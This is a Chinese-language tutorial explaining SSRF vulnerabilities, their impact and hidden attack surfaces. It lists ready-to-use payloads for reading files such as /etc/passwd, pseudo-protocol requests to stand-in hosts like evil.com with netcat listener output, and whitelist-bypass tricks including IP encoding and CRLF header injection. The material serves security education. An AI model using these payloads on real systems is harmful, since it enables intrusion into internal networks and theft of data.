什么是SSRF?
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
服务器端请求伪造(SSRF)是一种Web安全漏洞,允许攻击者诱导服务器端应用程序向非法位置发出请求。
在典型的SSRF攻击中,攻击者可以利用漏洞服务器与仅限内部访问的其他服务器建立连接。
在其他情况下,可能会强制漏洞服务器连接到指定的外部系统,从而导致敏感信息的泄露。
SSRF攻击的影响?
成功的SSRF攻击无论对易受攻击的服务器本身还是与之通信的其他后端系统,通常会导致未经授权的操作或访问内部数据。
在某些情况下,SSRF漏洞可能允许攻击者执行任意命令执行。
也可以利用SSRF漏洞向外部第三方系统发起恶意攻击,这种利用方式主要发生在具有漏洞的托管组织中。
SSRF攻击通常利用信任关系来升级漏洞应用程序的攻击并执行未经授权的操作,这些信任关系可能与服务器本身有关,也可能与同一组织内的其他后端系统有关。
SSRF中URL的伪协议
当我们发现SSRF漏洞后,首先要做的事情就是测试所有可用的URL伪协议
- file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
- dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
- sftp:// SSH文件传输协议或安全文件传输协议
- ldap:// 轻量级目录访问协议 tftp:// 简单文件传输协议
- gopher:// 分布式文档传递服务,可使用gopherus生成payload
1、file
这种URL Schema可以尝试从文件系统中获取文件:
http://example.com/ssrf.php?url=file:///etc/passwdhttp://example.com/ssrf.php?url=file:///C:/Windows/win.ini
如果该服务器阻止对外部站点发送HTTP请求,或启用了白名单防护机制,只需使用如下所示的URL Schema就可以绕过这些限制:
2、dict
这种URL Scheme能够引用允许通过DICT协议使用的定义或单词列表:
http://example.com/ssrf.php?dict://evil.com:1337/ evil.com:$ nc -lvp 1337 Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 31126)CLIENT libcurl 7.40.0
3、sftp
在这里,Sftp代表SSH文件传输协议(SSH File Transfer Protocol),或安全文件传输协议(Secure File Transfer Protocol),这是一种与SSH打包在一起的单独协议,它运行在安全连接上,并以类似的方式进行工作。
http://example.com/ssrf.php?url=sftp://evil.com:1337/ evil.com:$ nc -lvp 1337 Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 37146)SSH-2.0-libssh2_1.4.2
4、ldap://或ldaps:// 或ldapi://
LDAP代表轻量级目录访问协议。它是IP网络上的一种用于管理和访问分布式目录信息服务的应用程序协议。
http://example.com/ssrf.php?url=ldap://localhost:1337/ stats quithttp://example.com/ssrf.php?url=ldaps://localhost:1337/ stats quithttp://example.com/ssrf.php?url=ldapi://localhost:1337/ stats quit
5、tftp://
TFTP(Trivial File Transfer Protocol,简单文件传输协议)是一种简单的基于lockstep机制的文件传输协议,它允许客户端从远程主机获取文件或将文件上传至远程主机。
http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET evil.com:# nc -lvup 1337 Listening on [0.0.0.0] (family 0, port1337)TESTUDPPACKEToctettsize0blksize512timeout3
6、gopher://
Gopher是一种分布式文档传递服务。利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。
http://example.com/ssrf.php?url=http://attacker.com/gopher.php gopher.php (host it on acttacker.com):- evil.com:# nc -lvp 1337 Listening on [0.0.0.0] (family 0, port1337)Connection from [192.168.0.12] port 1337[tcp/*] accepted (family 2, sport 49398)Hissrftest
寻找SSRF漏洞的隐藏攻击面
许多服务器端请求伪造漏洞相对容易被发现,因为应用程序的正常流量涉及包含完整URL的请求参数,而其他有些SSRF则比较难找到。
◆请求中的部分URL
有时,应用程序仅将主机名或URL路径的一部分放入请求参数中。然后,提交的值会在服务器端合并到请求的完整URL中。
如果这个值很容易被识别为主机名或URL路径,那么潜在的攻击面就很明显了。但作为完整SSRF的可利用性可能会受到限制,因为无法控制整个URL的所有请求。
◆数据格式中的URL
一些应用程序以其规范允许包含可能由数据解析器请求格式的URL传输格式,一个明显的例子就是XML数据格式,已广泛用于Web应用程序中,用于将结构化数据从客户端传输到服务器。当应用程序接受XML格式的数据并对其进行解析时,可能容易受到XXE注入的攻击,进而容易受到XXE的SSRF攻击。
◆通过Referer头的SSRF
一些应用程序使用跟踪访问者的服务器端分析软件。该软件经常在请求中记录Referer标头,因为这对于跟踪传入链接特别有用。通常,分析软件实际上会访问出现在Referer标头中的任何第三方URL。
这通常用于分析引用站点的内容,包括传入链接中使用的锚文本。
因此,Referer标头通常代表SSRF漏洞的有效攻击面。
SSRF漏洞利用(危害)
1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;
2.攻击运行在内网或本地的应用程序(比如溢出);
3.对内网web应用进行指纹识别,通过访问默认文件实现;
4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);
5.利用file协议读取本地文件等。.
6.各个协议调用探针:http,file,dict,ftp,gopher等
http:192.168.64.144/phpmyadmin/
file:///D:/www.txt
dict://192.168.64.144:3306/info
ftp://192.168.64.144:21
SSRF绕过方式
部分存在漏洞,或者可能产生SSRF的功能中做了白名单或者黑名单的处理,来达到阻止对内网服务和资源的攻击和访问。因此想要达到SSRF的攻击,需要对请求的参数地址做相关的绕过处理,常见的绕过方式如下:
一、常见的绕过方式
1、限制为http://www.xxx.com 域名时(利用@)
可以尝试采用http基本身份认证的方式绕过 如:http://www.aaa.com@www.bbb.com@www.ccc.com,在对@解析域名中,不同的处理函数存在处理差异 在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com。
2.采用短网址绕过
比如百度短地址https://dwz.cn/
3.采用进制转换
127.0.0.1八进制:0177.0.0.1。十六进制:0x7f.0.0.1。十进制:2130706433.
4.利用特殊域名
原理是DNS解析。xip.io可以指向任意域名,即 127.0.0.1.xip.io,可解析为127.0.0.1 (xip.io 现在好像用不了了,可以找找其他的)
5.利用[::]
可以利用[::]来绕过localhost http://169.254.169.254>>http://[::169.254.169.254]
6.利用句号
127。0。0。1 >>> 127.0.0.1
7、CRLF 编码绕过
%0d->0x0d->\r回车 %0a->0x0a->\n换行 进行HTTP头部注入
example.com/?url=http://eval.com%0d%0aHOST:fuzz.com%0d%0a